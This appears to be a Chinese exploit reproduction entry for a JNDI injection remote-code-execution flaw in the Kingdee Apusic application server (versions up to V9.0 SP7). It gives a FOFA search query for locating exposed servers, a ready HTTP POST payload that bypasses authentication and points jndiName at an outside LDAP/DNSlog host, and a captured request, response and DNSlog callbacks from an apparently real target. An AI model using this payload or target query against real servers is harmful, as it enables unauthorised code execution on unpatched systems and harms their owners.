J17-3金蝶-Apusic应用服务器-JNDI注入

漏洞描述：

由于金蝶Apusic应用服务器权限验证不当，导致攻击者可以向createDataSource接口执行JNDI注入，造成远程代码执行。利用该漏洞需低版本JDK且需要服务器上有数据库驱动。

影响版本：

金蝶Apusic应用服务器 <= V9.0 SP7
不受影响版本
金蝶Apusic应用服务器 > V9.0 SP7

网站图片：

网络测绘：

fofa语法：

body="easSessionId" || header="easportal" || header="eassso/login" || banner="eassso/login" || body="/eassso/common" || (title="EAS系统登录" && body="金蝶") || header="EASSESSIONID" || banner="EASSESSIONID"

漏洞复现：

payload：

```
POST /admin/;//protect/datasource/createDataSource HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami

name=jndi1&jndiName=ldap://dnslog.pw&dbtype=mysql&drivertype=&host=127.0.0.1&port=3306&dbname=jndi&userName=jndi&password=jndi&repassword=jndi&connectionURL=jndi&driverC
```

效果图:
Dnslog验证

Request

数据包扫描 美化 热加载 构造请求

```
POST /admin/;//protect/datasource/createDataSource HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded

name=jndi1&jndiName=ldap://666666.cjvem43q.dnslog.pw&dbtype=mysql&drivertype=&host=127.0.0.1&port=3306&dbname=jndi&userName=jndi&password=jndi&repassword=jndi&connectionURL=jndi&driverClassName=java.lang.String&testCommand=
```

Responses 23869bytes / 2643ms

```
HTTP/1.1 200 OK
cache-control: no-store
expires: Wed, 31 Dec 1969 23:59:59 GMT
pragma: no-cache
date: Thu, 04 Apr 2024 13:44:24 GMT
server: Apusic Application Server/9.0 (Win
x-powered-by: Servlet/2.5 JSP/2.1
content-type: text/html; charset=UTF-8
content-language: zh-CN
connection: close
set-cookie: JSESSIONID=dnv2XhoKZg6uuNtz9AV
nap_backend: 118.123.246.94:6666
set-cookie: EASSESSIONID=-1210246040; path
set-cookie: NAPRoutID=-1210246040; path=/
Content-Length: 23869



<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.
html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="t
<title>数据源</title>
```

DNSLog WebLog API Rebind Payloads cjvem43

域名 搜索 子域名: cjvem43q.dnslog.pw 监视刷新

ID	域名	Type	IP	位置	时间	操作
32732934	666666.cjvem43q.dnslog.pw	A	61.139.113.90		2024-04-04 21:44:21	删除
32732933	666666.cjvem43q.dnslog.pw	A	61.139.113.90		2024-04-04 21:44:21	删除
32732931	666666.cjvem43q.dnslog.pw	A	61.188.7.194		2024-04-04 21:44:20	删除